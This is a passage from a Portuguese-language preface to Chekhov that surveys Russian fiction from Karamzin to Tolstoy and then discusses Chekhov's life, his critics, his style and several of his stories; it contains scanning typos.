Prefácio a Tchecov

 

Prefácio A Tchecov.

Henrique de Campos

Fonte: Clássicos Jackson

Antes de entrarmos no estudo da obra de
Tchecov, julgamos conveniente esquematizar a evolução do ficcionismo russo até
ao grande contista, a fim de darmos uma idéia mais nítida da posição deste
último no quadro da literatura eslava.

As primeiras manifestações apreciáveis da
ficção, na Kússia, datam dos fins do século XVIII, e são quase todas elas
de ins­piração mais ou menos folclórica, como os "Contos Russos"’ e
"O Gracioso", de Tahoulkof e as novelas de Popof, de caracter
essencialmente nacional. Mas, sob a influência de Richardson ("Clarisse
Harlowe") e Rousseau ("La Nouvelle Heloise"), cujas respectivas obras foram logo traduzidas em todos os países, surge o romance sentimental, que
tem em Komarof, Emine e mais tarde Karamzine, os seus tipos mais representa­tivos.
A novela de Emine "A Inconstância da fortuna ou as aventuras de
Miramond" destinava-se, mesmo, como dizia o seu subtítulo, "a
provocar nos corações ternos a compaixão pelas nossas desditas". Karamzine
já é um homem do século XIX, tendo desempenhado um papel importante na
literatura russa, pelo seu espírito reformador, que opunha até certo ponto a
elegância e a clareza francesa à tradição eslavística. Foi poeta, novelista e
historiador. Só como novelista, entretanto, nos in­teressa neste esquema, como
autor da "Pobre Lisa", narrativa sentimental e lacrimejante que se
integra na mesma corrente do ""Werther", de Goethe. Toda a
Rússia chorou com essa his­tória de uma camponesa enamorada de um fidalgo e que
aban­donada por este se afoga num ribeirão. A voga da novela foi
extraordinária, chegando a constituir uma atracção turística (como a nossa
pedra da "Moreninha", por exemplo), o rio, onde o autor levou a
heroína ao suicídio.

O movimento romântico que se alastrou por todo o mundo no
começo do século passado teve o seu representante máximo, na Rússia, em Puschkine.   Poeta de projeção não apenas nacional, como universal, Puschkine se nos
apresenta menor como prosador, embora figurem entre os seus contos e novelas
algu­mas obras-primas. Pretendendo fazer história, quando já com­pusera os
poemas byronianoa que o consagraram, resolveu apro­veitar o material que
reunira com esse objectivo para, sob a influencia de Walter Scott, escrever a
magnífica novela his­tórica "A Filha do Capitão", até hoje lida com o
maior agrado. Por outro lado, como contista revelou uma arte fina e graciosa no
desenho de uma situação ou de um caracter. Seu conto "A Dama de Paus"
é, indiscutivelmente, uma maravilha no gê­nero, e com ele e outras composições
semelhantes Puschkine antecipava em recursos técnicos e capacidade criadora a
evo­lução do íiecionismo russo. Morrendo relativamente moço, num duelo, não
pôde, por certo, dar tudo que dele era justo esperar naquele sector.

Além de Puschkine, o romance histórico, nos
moldes de Walter Scott, produto característico do Romantismo, teve na Rússia
muitos representantes menores que escapam ao alcance do nosso esboço. O
byronismo com que Puschkine tingiu sua poesia, em obras, como o famoso
"Eugênio Oneguine", inspirou a Lermontov uma novela
caracteristicamente romântica "Um herói do nosso tempo”, em que o tipo de
Pechorin aparece como a encarnação do homem superior ao meio, julgando-se com
direito a fazer tudo que julgue necessário ao enriquecimento da sua
personalidade, eivado desse satanismo que o autor de "Manfredo"
celebrizou.

Afinal, surge Gogol, e este é a primeira grande figura da
novelística russa. Começou ele com os contos das "’Noites na Ucrânia"
e de "Mirgorão", de caráter folclórico e ligados, por esse lado, às
obras de Tahoulkof e Popof. Ninguém deixou logo de reconhecer o grande sentimento
poético e a magnífica execução artística do escritor que evocava os costumes,
as lendas o as {superstições daquela região do sul da Rússia. Além disso,
G-ogol mostrava-se um extraordinário humorista; seus diabinhos, seus gênios
campesinos, suas bruxas, em lugar de nos despertarem horror, divertem-nos e
provocam-nos riso. Alguns dos tipos por ele evocados lembram o nosso Pedro
Malazarte, aliás um tipo europeu transplantado para o Brasil. Esse espírito da
terra, o sentimento das coisas populares russas, que Gogol teve em alto grau, e
decerto também a influência de Walter Scott, vinda possivelmente através de
Puschkine, leva-o a escrever um Pequeno romance histórico (por ele, aliás,
denominado poema), revivendo um episódio da história da Rússia, no século XV: "Tarass
Bulba", de tonalidade romântica, mas distinguindo-se das outras narrativas
no gênero que nessa época apareceram, pelo sopro poético com que o autor soube
animá-lo.

Em 1834 Gogol publica uma pequena novela, ou antes, um conto
longo, "O Capote", cuja repercussão ia ser bem gran­de na literatura
russa. "Nós todos saímos do "Capote" — diria, mais tarde,
Dostoiewski. A história é muito simples e po­derá ser relembrada em duas
palavras: um empregado subal­terno de uma das secretarias de Estado, pobre ser
obscuro a quem ninguém dava importância, voltando, certa noite, excep­cionalmente
tarde para casa, é despojado do capote por uns ladrões. Para qualquer outro, o fato
seria insignificante; para ele significa uma calamidade. E vem, então, a
odisséia do pobre diabo a se queixar à polícia, sem que lhe dispensem a menor
atenção, a reclamar inutilmente o objeto perdido, até que, pela falta dele, vem
a morrer. Seu vulto começa a aparecer pelas noites álgidas e nevoentas, nas
ruas desertas de Petersburgo, a despojar os noctâmbulos dos respectivos
capotes, realizando essa vingança de além-túmulo, que condiz com a tendência já
revelada por Gogol, em obras anteriores, para misturar o fan­tástico com o
real, num consórcio artístico sempre admirável -mente obtido. Mas que haverá de
novo ou de excepcional nesse conto, capaz de explicar a sua repercussão? É o
realismo do tipo, realismo meio caricatural, mas distinguindo-se extraordi­nariamente
numa novelística que até então só dera tipos mais ou menos artificiais.

A grande obra de Gogol seria, porém, uma obra
fracassada, um romance cíclico por ele destruído em parte, quando não chegara
ainda a concluí-lo: "Almas Mortas". Por sugestão de Puschkine,
começou a escrever a história de um indivíduo ,que se prevalecendo da
morosidade do recenseamento russo, se pro­punha a comprar aos proprietários
rurais os servos já mortos, a fim de, numa manobra inteligente, especular com
os mesmos. O assunto era, no fundo, um pretexto, para fazer a personagem
principal, Chíehicov, percorrer as mais diversas regiões da Rússia, e assim esboçar
um quadro da vida do país, com os seus tipos  característicos,  seus 
costumes,  suas  usanças.    Gogol  já havia escrito uma boa parte da obra, quando,
por uma frase de Puschkine, a quem lia alguns capítulos ("Como é triste a
nossa Rússia!"), sentira a perversidade, o traço caricatural ferino com
que desenhara as personagens; o que. o levou a inutilizar o trabalho, do qual
se salvou ainda o bastante para consagrar o autor como um dos maiores
romancistas universais.

Gogol se encartara na tradição dos primeiros novelistas rus­sos,
que se inspiraram em motivos nacionais. Mas já Ivaramzine, o autor da
"Pobre Lisa"’, como vimos, era um espírito mais europeu do que
eslavo, desviando-se algum tanto daquela tradição. De agora em diante, as duas
orientações vão se de­linear, de maneira mais acentuada, não só na novelística,
como em toda a literatura russa, constituindo duas correntes que receberão,
respectivamente, as denominações de eslavófila e ocidentalista. Ao mesmo tempo,
restringindo-se quase sempre numa delas, o romance russo passará a ser influído
por um pensamento filosófico, político-social ou religioso.

O representante mais típico da corrente eslavófila será Dos­toiewski,
e o da ocidentalista Turguenev, circunstância que ca­vará diferenças profundas
entre as obras de ambos, e acabará por separá-los no mais completo desaiustamento
afetivo. " — Nós todos saímos do "Capote" — dizia Dostoiewski. Efetivamente,
o herói de sua primeira novela "Pobre Gente", é pa­rente próximo do
herói do " Capote", a atmosfera moral e social será idêntica e até a
paisagem urbana se assemelhará. Com uma ressalva muito significativa: a São
Petersburgo de Dostoiewski não comporta os duendes e as assombrações da São
Petersburgo de Gogol. O realismo dos tipos de Dostoiewski, em linhas mais
nítidas, corresponde com um quadro urbano também menos esfumado, de contornos
mais precisos. Depois da tragédia que o levou ao degredo, na Sibéria, do livro
em que reviveu essa dolorosa experiência, "Recordações da Casa dos
Mortos", e de um romance, também resultante de uma experiência, desta vez
sentimental, Dostoiewski publica o "Crime e Castigo", inician­do o
que poderemos chamar a grande fase de sua vida de ro­mancista. Começa, então, a
definir-se o seu pensamento filo­sófico. Dostoiewski foi antes de tudo um
filósofo, mas um filósofo que pensou em romance, concretizando as idéias nas
pesonagens. Eslavófilo, ligado profundamente à terra, ao ambiente, ao russo,
pintou também personagens essencial mente russas; mas dotou-as de tão .poderosa
humanidade e encarnou nelas problemas tão altamente humanos que lhes deu um
caracter de absoluta universalidade. Não podemos dedicar aqui nem mesmo três
linhas a cada um dos seus principais ro­mances, como não faremos com os demais
romancistas que pre­cederão o estudo de Tchecov — objecto desta introdução. Que­remos
apenas estabelecer pontos de referência, marcar, através das maiores figuras,
as direções capazes de relacionar Tchecov com seus predecessores e
contemporâneos. Se nos detivemos num simples conto, como "O Capote",
de Gogol, é porque esse simples conto, como já mostramos, teve uma grande
função histórica na literatura russa. Da obra genial de Dostoiewski basta, para
o nosso esquema, retirarmos a directriz principal: o problema metafísico do
homem visto através do homem russo.

Representante típico da corrente ocidentalista,
Turguenev acha que a Rússia deve assimilar a civilização européia, deve
europeizar-se; e seguindo esses princípios, vai estudar de na Alemanha, passa
depois a residir na França, relaciona-se inti­mamente com os escritores
franceses e procura construir pelos moldes destes os seus romances, compostos
com um rigor absolu­tamente artístico. O problema metafísico, que tanto
preocupou Dostoiewski, pode-se dizer não existe para Turguenev; o que prevalece
para este é o problema social e psicológico. Por certo a obra de Dostoiewski é
essencialmente psicológica, mas a sua psicologia está ligada à metafísica. Em
Turguenev o estudo da alma humana é feito sem as mortificantes cogitações das causas
finais. Entretanto, embora ocidentalista, ele jamais se desinte­ressou das
questões russas, focalizadas, de maneira admirável, com uma propriedade
artística excepcional, em romances como "Memórias de um caçador",
"Pais e Filhos", "Rudine", "Ter­ras Virgens".

Na confluência de Dostoiewski e Turguenev deve ser colocado
Tolstoi. Lendo "Guerra e Paz", o maior dos romances de Tolstói e um
dos maiores romances universais, Flaubert dizia que o único defeito que
encontrava era, em meio dos trechos mais em­polgantes, o romancista ceder lugar
ao doutrinador. Desapa­recia, então, o escritor para surgir o
"russo". O russo — queria com isso dizer Flaubert — o homem
preocupado em tirar con­clusões filosóficas, em assumir ares messiânicos, em
aproveitar o romance como instrumento de pregação.

Mais artista do que Dostoiewski, influenciado
até certo ponto pela técnica dos? franceses, utilizando-se de uni realismo que
nada ficava a dever ao de Flaubert, dominando como mestre a arte do romance,
Tolstoi era também atormentado pelo pro­blema metafísico que acabou por
determinar um rumo defini­tivo na sua existência.

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Dostoiewski já tinha morrido. Turguenev também;
Tolstoi estava em pleno apogeu de sua actividade criadora, quando Tchecov
começou a chamar a atenção do público com seus con­tos humorísticos estampados
em jornais e revistas e logo depois reunidos em livro.

Anton Tchecov nasceu em Taganzog, porto do mar de Azov, a 17
de janeiro de 1860, filho de um camponês liberto. Bis já aqui um traço a
acentuar: quase todos os escritores russos eram de famílias aristocratas e
proprietárias. Tolstoi pertencia à no­breza; Turguenev possuía grandes
domínios, embora pugnasse pela libertação dos servos; à aristocracia pertenciam
também os pais de Dostoiewski. Tchecov não, este vinha do povo, filho de um
servo liberto. Encontrou, entretanto, meios para fazer os estudos primário e
secundário na sua terra natal e trans­ferir-se depois para Moscou, a fim de
fazer um curso superior. Decidiu-se, então, pela medicina. Por quê? Vocação?
Num frag­mento autobiográfico quase desconhecido, Tchecov confessa não recordar
o motivo pelo qual preferiu a medicina, acrescentando não haver, apesar de
tudo, se arrependido da escolha. Eviden­temente, a medicina é uma das carreiras
que mais podem enri­quecer a experiência de um ficcionista. Penetrando em todos
os larea, surpreendendo ao vivo o espetáculo da miséria humana, servindo não
raro de confidente às maiores dores e desabafo para as maiores angústias, o
médico com inclinação para ro­mancista ou contista, tem, mais do que ninguém,
um campo vastíssimo de observação e inspiração. Tchecov, que desde cedo
reconhecera em si a tendência de ficcionista, preferira, talvez num movimento
inconsciente, a medicina.

Da sua atividade profissional sabe-se haver ele clinicado du­rante
um ano num hospital de Moscou, e ter-se oferecido espontâneamente para, médico
de um distrito do interior, durante a epidemia que assolou a região em 1892. Já
havia, então, ini­ciado, de há muito, a carreira de escritor, mas essa
temporada na província, numa época de calamidade pública, atendendo enfermos de
todas as classes sociais, convivendo com gente das mais variadas espécies,
devia ter trazido uma preciosa contri­buição para o ficcionista. E é quase só
isso que se sabe do médico, ou antes, das relações entre o médico e o escritor.
A vida de Tcheeov não oferece material interessante para o bió­grafo. Nem mesmo
Mauvois, com o seu senso do pitoresco, po­deria tirar grande coisa da
existência mais ou menos plana desse médico que se ocupou a vida toda em
escrever contos, opulentando a literatura russa com uma obra que dificilmente
encontrará símile no panorama literário de qualquer outro país. Sabe-se mais
que esse homenzinho de aparência obscura e mo­desta de vez em quando gostava de
viajar. Não era um se­dentário, como o nosso Machado de Assis. Interrompia,
então, a atividade de escritor ou interrompia a clínica e lá saía em excursões,
ora pela Rússia, ora por alguns países da Europa, chegando a ir mesmo até a
Argélia. Em 1890 foi à ilha Sakalina, de onde trouxe um livro interessantíssimo
de impressões, pintando a vida dos prisioneiros ali encerrados, obra essa da
qual temos apenas informação, não tendo sido traduzida para nenhum idioma.

Não seriam precisos os dados dos biógrafos para deduzirmos
logo que Tchecov era um homem que conhecia, pelo menos, uma boa parte da
Rússia. Nos romances e contos de Machado de Assis figura grande variedade de
tipos, mas são todos tipos que podem ser encontrados numa cidade como o Rio de
Janeiro, de onde o escrito? só se afastou para ir a Petrópolis e numa temporada
em Friburgo. Os tipos de Tchecov não são apenas urbanos, mas também
provincianos e rurais, e variada é a pai­sagem russa que ele nos pinta,
indicando a familiaridade com diversas regiões do país. As viagens não
bastaram, apesar de tudo, para tornar movimentada e cheia de peripécias a vida
do escritor.  O que interessa, pois, em Tchecov, é a obra.

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Como já dissemos, quase todos os ficcionistas russos, depois
de Gogol, passaram a concretizar na sua obra um pensamento filosófico
político-social ou religioso.   Aquela pregação, aquela doutrina — "o russo" — que em
"Guerra e Paz" irritava Flaubert, era o que havia de mais típico em
tais escritores e o que os críticos do país reclamavam. De um romancista e de
um contista não se pedia apenas romance ou conto, pediam-se tam­bém idéias.
Assim, uma das primeiras perguntas formuladas pelos críticos, logo que Tchecov
começou a chamar-lhes a aten­ção, foi esta: Quais as idéias desse escritor?

Ora, Tchecov pretendia exprimir a vida em ficção
e não dou­trinar. Era um contista, escrevia contos, alguns curtos, outros
longos, outros já mesmo com as proporções de novelas, mas não se preocupava em
expor idéias ou fixar as linhas de uma filo­sofia. Foi essa, pois, uma das
primeiras censuras feitas ao ad­mirável escritor.

Convém notar, entretanto, não ter sido muito curto o cami­nho
percorrido por Tchecov para chamar a atenção dos críticos, pelo menos dos
críticos de peso, na Rússia. Iniciando-se bem cedo na carreira das letras, o
autor da "Estepe" quando estu­dante já começara a colaborar em
revistas, revelando extraor­dinária veia humorística. Seu primeiro livro,
enfeixando uma parte desses trabalhos dispersos, intitulou-se "Contos de
todas as cores" e apareceu assinado com o pseudônimo de Tchicanté. Médico
recém-formado, Tchecov receava, talvez, que a nota cô­mica do escritor,
fazendo-o passar por um espírito fantasista e ligeiro, lhe alienasse a
confiança da clientela. Acresce uma circunstância: o humorismo parecia um
gênero secundário aos russos, como parecera aos americanos, quando Mark Twain
os divertia com narrativas que depois vieram incorporar-se às obras-primas da
literatura ianque. Tchecov lutou, a princípio, com essa incompreensão da
crítica e mesmo do público que apre­ciando os contos não lhe davam o justo
valor artístico. Quando este foi pressentido, veio a pergunta a que aludimos:
Mas onde estão as idéias? Apesar da resposta negativa, Tchecov acabou
triunfando no juízo dos contemporâneos. Viu-se que havia criado algo de novo na
literatura russa, e que sem cuidar de exprimir diretamente idéias na sua obra,
com ela podia-se ali­mentar toda uma filosofia e o mais profuso manancial de
idéias.

Como observa Kropotkine, Tchecov pertence a uma
geração que viveu seus melhores anos sob o guante de uma reação, a maior
experimentada na Rússia, na segunda metade do século XIX..  Com a subida ao trono do
czar Alexandre III cessaram
todas as esperanças dos liberais. As grandes reformas, inclusive a liberdade
dos servos, começaram á ser tidas como erro.

" O ano 80 — acentua Kropotkine — foi talvez o período
mais obscuro por que passou a Rússia". Era preciso distrair o povo, mas
distraí-lo de uma maneira inócua. As audácias de Dostoievvski e Turguenev
morriam com este em 1883. Só ficava, entre outras vozes menores e sempre
abafadas, a grande voz revoltada de Tolstoi, excepcionalmente respeitada pela
tirania. Tchecov começa a escrever histórias humorísticas, de substrato
anedótico, em que o ridículo e o grotesco são sublinhados com um traço
genuinamente artístico. Não tardará para que seu humor vá tomando uma nova
tonalidade, não sombria ou negra, mas de um matiz mais ou menos cinzento. É a
vida morna, aba­fada, monótona, de um povo mergulhado no obscurantismo que
passa a delinear-se nesses contos. E a personagem que encontra o seu
"habitat" em semelhante atmosfera é aquela da qual Gogol já nos dera
alguns retratos gemais: o pobre diabo. A obra de Tchecov está cheia de pobres
diabos — gente anônima, apa­gada, que anda pela existência sem fazer ruído,
dela desapa­recendo sem ser pressentida, da mesma maneira pela qual nela
entrou; gente de que Dante dissera na "Divina Comédia" ter vindo ao
mundo para servir de estéreo e em cujo perfil o es­critor projeta comumente um
raio de luz, colocando-os sob uma aura transfiguradora de poesia.

O homem nos contos de Tchecov — disse Kropotkine — chega a
um grau em que só pode repetir mecanicamente certos atos quotidianos, depois
dos quais vai deitar-se satisfeito de haver matado o tempo de alguma maneira.
De facto, quase não há ideal para essa criatura. O rico mesmo enfastia-se ou
sofre com a sua riqueza. O pequeno burocrata não vê outra pers­pectiva senão ir
todos os dias, às horas certas, à sua repartição, voltar para a casa e
recolher-se ao leito, sem que qualquer hori­zonte novo se rasgue à sua frente.
O miserável não tem outra coisa a fazer senão resignar-se com a sua miséria.
Sim, não resta dúvida de que há em tudo isso o triste quadro da ruína moral de
um povo sufocado pelo despotismo. Realista, Tchecov não se contenta em
reproduzir o aspecto exterior de semelhante quadro: vai ao fundo das almas, e é
freqüentemente o pensa­mento secreto, os movimentos mais íntimos das
personagens que o  escritor logra  desvendar  com  uma  perícia 
extraordinária.

Apesar
da impressão de objetividade que os seus contos nos dão, não se pode dizer seja
ele um observador impassível e indiferente. Tchecov encara a vida numa atitude
de compla­cência triste e resignada, sendo indiscutível a sua. simpatia por
muitas personagens com as quais se solidariza, através de uma profunda
comunicação poética. Pois é preciso que se acentue: o autor da
"Estepe" é um poeta e no sentimento lírico que lhe atravessa os
contos está a chave dessa arte excepcional.

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Para exprimir o triste espetáculo de uma
civilização deca­dente .que tinha diante de si, Tchecov criou um gênero novo.
Certamente, antes dele já se haviam escrito muitos contos na literatura russa,
mas com a feição que ele lhes deu, e, sobretudo, com a sua maneira de
desenvolver e focalizar os assuntos, nada havia de semelhante. Deve-se, pois,
acentuar acima de tudo essa circunstância: a originalidade de Tchecov. Embora
começasse com narrativas de substrato anedótico, foi logo encontrando a sua
forma própria num tipo de relato flutuante e vago, que parece não ter começo
nem fim, sendo assim um simples fla­grante do curso da existência, desse rio da
vida que está a correr continuamente c cujas águas não podemos isolar com
limites definidos. A impressão que nos deixam muitos de tais contos é de que a
história continua, porque a vida também é assim: nela não há desfechos,
conclusões, um elo permanente entrelaça os fatos, unindo as lágrimas aos risos,
as tristezas às alegrias: a vida sempre continua.

Por tudo isso era natural não compreendessem os críticos, a
princípio, o grande artista que surgia em Tchecov. Tomavam a atmosfera vaporosa em que o escritor mergulha os seus contos, essa maneira
reticenciosa de começar e terminar a narrativa, como um índice de
superficialidade. "Tchecov está ausente nas suas obras — dizia um desses
Aristarcos — ele não faz mais do que passear à margem da vida, e passeando,
colhe, aqui e ali, algumas observações". Juízo errôneo e absurdo! À mar­gem
da vida, o escritor que sabia penetrar no íntimo das per­sonagens e revelar,
numa nota comumente irônica, muito do que a existência tem de mais profundo.  
À margem da vida, o escritor que sabia surpreender os aspectos mais desconcertantes
do ridículo humano.

Ainda, o mesmo crítico Mickhailowski, numa
absoluta incom­preensão, escrevia algum tempo depois: "Algumas linhas fe­lizes
não resgatam uni palavreado vazio e inextricável". Falar em palavreado
vazio, referindo-se ao escritor cujos contos são uni prodígio de síntese e condensação,
onde não há um aditivo de mais, uma palavra fora de propósito. Sempre feroz,
sempre injusto, o crítico prossegue: "Tchecov está fanando sem ter
florido". Outro crítico, Skabitchewski, igualmente incompreensivo, dando a
classificação de jornalista a Tchecov, num sentido pejorativo, pelo fato deste
publicar, com muita fre­qüência, os coutos em jornais e revistas, antes de
reuni-los em livro, observa num tom essencialmente perverso: "No início de
sua atividade esses jornalistas conhecem, geralmente, algum sucesso, mas logo a
"surmenage" se faz sentir; perdem a po­pularidade, como um limão que
se espreme até o fim, e acabam a vida — os coitados — no esquecimento mais
completo, mor­rendo em algum hospital municipal”. A parte a perversidade, não
podia haver profecia mais errônea, pois Tchecov teve sorte bem diversa.

Traçando um ligeiro esquema do romance russo, marcamos
as suas direções principais. A qual delas devemos filiar Tche­cov? A nenhuma.
Tchecov não se parece com ninguém. Toda comparação do autor dos
"Mujiks" com os seus predecessores — diz M. Hoffmann — não serve mais
do que para mostrar a originalidade dele. A única aproximação possível seria,
talvez, a de Gogol, mas isso não bastaria para estabelecer uma identi­dade. Os
pobres diabos de Gogol são parentes muito distantes dos de Tchecov. A
qualidade, do humor de ambos é bem diversa. Entretanto, se não se parece com os
predecessores, como artista ultrapassa todos eles.

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O artista. Chegamos aqui num ângulo essencial
para a apre­ciação da obra de Tchecov. Ele é um artista da cabeça aos pés, mais
do que Dostoiewski — embora não possuísse a força psico­lógica e a vastidão de
pensamento deste — mais do que o pró­prio Turguenev.  Nos seus contos procurou
exprimir o máximo de sugestão vital e
humana no mínimo de palavras. Apurou-se assim numa sobriedade absoluta de
estilo. Pela sua correspon­dência, de grande interesse para o conhecimento dos
segredos técnicos do ficcionista, ele se refere ao esforço que empregava em
trabalhar, como verdadeira obra de arte, cada conto, polindo-o e repelindo-o,
cuidando da adequação perfeita dos termos, da mais rigorosa economia verbal. Os
românticos sempre se caracterizaram por certo derrame de expressão. Máximo
Gorki, que no fundo nunca passou de um romântico, incorria nesses excessos,
nessa falta de limites. Tchecov, seu amigo íntimo, correspondendo-se
assiduamente com o autor de "Vagabundos", abordava, não raro, problemas
literários, não hesitando em dizer claramente o que pensava cios defeitos de
Gorlti. "Autor suscep­tível e pusilânime — escreve Tchecov, numa dessas
cartas — você receia que suas personagens não sejam suficientemente claras e as
pinta de uma maneira muito detalhada c retorcida. Daí resulta uma certa
incoerência de cores que prejudica o efeito de conjunto". E mais adiante,
este conselho aqui ofere­cido gratuitamente a todos os escritores de ficção:
"ÍS preciso suprimir todos os adjectivos inúteis. Na sua obra eles proli­feram
de, tal forma, que o leitor dificilmente se desembaraça nessa floresta,
enquanto a atenção facilmente se fatiga. Quando eu escrevo: "Um homem
sentou-se na relva", todo mundo com­preende logo o que eu quis dizer •. é
claro e não embaraça nin­guém. Ao contrário, seria ininteligível e indigesto
escrever por exemplo: "Um homem de talhe médio, esbelto, de ombros es­treitos,
barba raiva, sentou-se na relva não ainda pisada pelos transeuntes, sentou-se
sem ruído, olhando para todos os lados com um ar tímido e medroso". Isso,
como vê, não entra ime­diatamente em nosso cérebro, e, entretanto, a arte deve
ali entrar num segundo".

Era assim, com todo o escrúpulo de um artista
consciencioso, que Tchecov escrevia os seus contos. A naturalidade da ex­pressão
leva-nos a supor uma certa facilidade. O mesmo nos acontece ante uma página de
Machado de Assis. Mas, além da correspondência, os cadernos de notas de Tchecov
mostram-nos como lhe era laboriosa e exaustiva a produção literária. Um dos
pontos que muito o preocupava — dizem os críticos — e o que não podemos avaliar
com precisão, se não conhecemos o russo —
ora o ritmo, o efeito musical da frase, coisa que não inquieta muitos
escritores, imaginando que a prosa não neces­sita ter, também, música, como a
poesia. Em carta endereçada a uma romancista medíocre — dessas
"basbleu", existentes nu Rússia, como em toda parte, ele advertia:
"A senhora não tra­balha suficientemente suas frases; é preciso
"construir" uma frase; toda arte do escritor está nisso. É necessário
despojar o estilo de locuções que lhe quebram o ritmo, como: "de ma­neira",
"à medida"; cuidar do desenho musical da linguagem". Mais
adiante, manifesta ele o seu horror ante uma iinpropriedade de expressão da
escritora: "Minha cara amiga, a pa­lavra irrepreensível torna-se aí um
verdadeiro absurdo, digo-lhe que soa como um insulto. Irrepreensível é uma
palavra, rugosa, inconveniente, que não poderia figurar na linguagem falada”. (Advertimos
o leitor de que traduzimos esses trechos da versão francesa da correspondência
de Tchecov. Não nos parece que tonto em francês como em português
irrepreensível seja a pa­lavra rugosa, imprópria da linguagem falada, a que
alude o escritor; mas o termo a que ele se refere em russo certamente 0 é.
Pode-se dar o caso do tradutor francês não haver encon­trado uma correspondência
exata, ou essa não existir em fran­cês. Não será por isso, entretanto, que a
lição de Tchecov há-de perder o seu sentido para o leitor brasileiro).

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A inventiva de Tchecov é prodigiosa,
inesgotável. Embora ele procure fixar os aspectos banais e quotidianos na
existência, sabe extrair. extrair desses aspectos uma diversidade assombrosa de
efeitos. Mas de maneira geral, muito geral mesmo, podemos classificar-lhe os
contos em duas grandes categorias: os de in­triga e os de situação. Aqueles
cujo interesse reside num fundo anedótico de desfecho sempre imprevisto, e
aqueles em que o autor expõe apenas uma situação, fazendo todo o interesse de­correr
do drama humano que ela sugere. Nestes últimos, mais do que nos primeiros,
Tchecov faz um apelo à poesia para co­municar-se com a nossa sensibilidade.

Vejamos um exemplo da primeira categoria, de
conto de ane­dota. Aqui temos "Então era ela!", título já por si
mesmo anedótico. Um velho coronel conta
num saião, a pedido de algumas senhoritas gárrulas que o circundam, numa alegre
noitada social, uma das histórias de sua vida muito
acidentada de mi­litar. Certa vez, a serviço na província, foi obrigado a
pernoitar num casarão, cujo hospedeiro, ao levá-lo ao quarto que lhe des­tinara,
perguntara-lhe se não tinha medo de fantasmas, pois aquele aposento era um dos
lugares mais apropriados para os espíritos que costumam descer à terra. A
pergunta e o aspecto sombrio do quarto, cheio de retratos antigos pelas
paredes, criou logo a sugestão do medo no espírito do hóspede. Resolve, então,
apagar a vela, pois acha que o aposento se torna mais impres­sionante, assim,
semi-iluminado por uma chama mortiça. Mal, porém, mergulha na escuridão e
procura conciliar o sono, ouve passos no corredor. Sem poder conter o susto,
levanta-se, quan­do se abre a porta e na frouxa claridade que então se faz
surge um vulto de mulher. Trêmulo, procurando reagir, o hóspede encaminha-se
para a aparição e sente duas mãos femininas a lhe acariciarem o rosto, enquanto
uma voz melodiosa lhe diz: " — Eu te amo!… És mais querido para mim do que
a própria vida". A atenção fica suspensa no grupo de ouvintes do velho
coronel. Continua ele a narrativa. No dia seguinte, não po­dendo partir devido
à chuva e sendo obrigado a dormir no mesmo quarto, repete-se o fato da véspera:
a mesma aparição, idênticas palavras. "— Mas, afinal, quem era essa mulher1?"
— perguntam timidamente as jovens ouvintes que já não po­diam conter a
inquietude. "— Não será preciso muita imagi­nação para compreender —
declara o narrador — era minha mulher". E explica, com ar chocarreiro, a
circunstância: a es­posa, que viera com ele, dormia na mesma casa, num quarto
ao lado. Percebe-se um movimento de decepção entre as moças. Esperavam,
naturalmente, outra coisa, um desfecho mais pal­pitante. Afinal que interesse
havia nessa esposa que vinha à noite abraçar o marido e dizer-lhe palavras de
amor? A decep­ção das moças – é também a do leitor; também este esperava coisa
bem diversa. Mas o narrador queria apenas experimentar o efeito, pois atalha
logo, com o mesmo ar chocarreiro: "— Não se aborreçam, senhoritas, eu
estava brincando, não era minha mulher, mas a mulher do hospedeiro". A
atitude das ouvintes transforma-se imediatamente, o tédio desaparece.

Nessa historieta capaz de divertir qualquer leitor e que os
críticos russos a que nos referimos julgariam superficial, ou talvez
frívola, Tchecov consegue pôr, com uma perícia excepcional, a nota psicológica
que a valoriza extraordinariamente. Aquele "o tédio desaparece"
-define, maliciosamente, o estado de espírito das jovens solteiras e de
família, que à noite ouviam as narrativas de um velho militar, num serão,
naturalmente, muito familiar.

Vejamos, agora, o exemplo típico de um conto de
situação. Servirá este: "Uma boda". Aqui não ocorre nada de extraor­dinário,
não há um fundo anedótico, apenas a descrição de um casamento. A noiva parte
para a igreja, onde o noivo a espera. É todo um alvoroço na casa. Os vizinhos
se agrupam nas ja­nelas para assistir o sensacional espetáculo. A rua fica re­pleta
de curiosos. E o velho pai na residência, onde se fazem os últimos aprestos
para a festa — a mesa de doces c o baile — que deverá realizar-se após a
cerimônia — põe-se a refletir com um amigo sobre aquele ato tão decisivo no
destino da filha. "— Tínhamos uma filha e agora a doamos a outro. O noivo
é instruído, fala francês… mas bebe. Ora, quem não bebe hoje em dia? Todo
mundo bebe". "— Não há mal ne­nhum que ele beba — retruca o amigo. —
O essencial é que cumpra o seu dever. E no que diz respeito ao facto dele
beber, suponhamos: por que não beber? Beber é permitido". Do outro lado, a
mãe da noiva queixa-se a uma velha amiga: "— Ele será capaz de compreender
o que fizemos por ela? Demos-lhe um dote de dez mil rublos em moeda corrente.
Pusemos a casa em nome de Lioubotcka e mais novecentos metros quadrados de
terra… É muito simples de dizer, mas aquele homem será capaz de sentir
qualquer coisa pelos outros? Os indivíduos hoje em dia não têm mais sentimentos".
Daí a pouco chegara os noivos da igreja. Começa a festa, todos bebem, fazem-se
brin­des, há alegria, confusão geral, e o pai da noiva, com desca­labro da
esposa, acaba embriagado e se esquecendo da filha e de tudo o mais.

O conto não passa disso. Não tem nenhum
desfecho. Mas não será em si mesmo um grande desfecho esse velho gesti­culando,
ameaçando céus e terra, completamente embriagado, nesse dia em que se traça o
destino da filha — da filha a quem tanto ama e que tanto o preocupa?

Outro conto do mesmo gênero: "Um caso de
clínica médica". Um médico é chamado para ver uma doente muito rica, resi­dente
numa cidade perto de Moscou, onde possui grande proprieclade industrial. Depois de uma viagem
difícil, pois fora necessário, depois de deixar o trem, andar quatro
quilômetros de carro, chega o esculápio à casa da enferma e constata que, na
realidade, ela não sofre de outra moléstia senão de um sim­ples nervosismo.
Obrigado a pernoitar no local, observando o movimento contínuo da fábrica, ao
lado, propriedade da doente, põe-se a refletir sobre o caso e conclui: aquela
criatura sofria do sentimento de culpa da sua fortuna, duvidando no íntimo se
teria ou não direito aos milhões que herdara. Procura, então, fazê-la
compreender isso por meios indiretos, e percebe que essa compreensão basta para
aliviá-la.

#

Outra particularidade de Tchecov e que o
destaca, sobrema­neira, entre os demais escritores russos, é que ele pintou na
sua obra não somente uma classe social, ou determinada região do país, mas toda
a sociedade russa, do rico ao pobre, englobando as mais diversas atividades.
as mais variadas profissões, e des­locando, igualmente, o cenário de seus
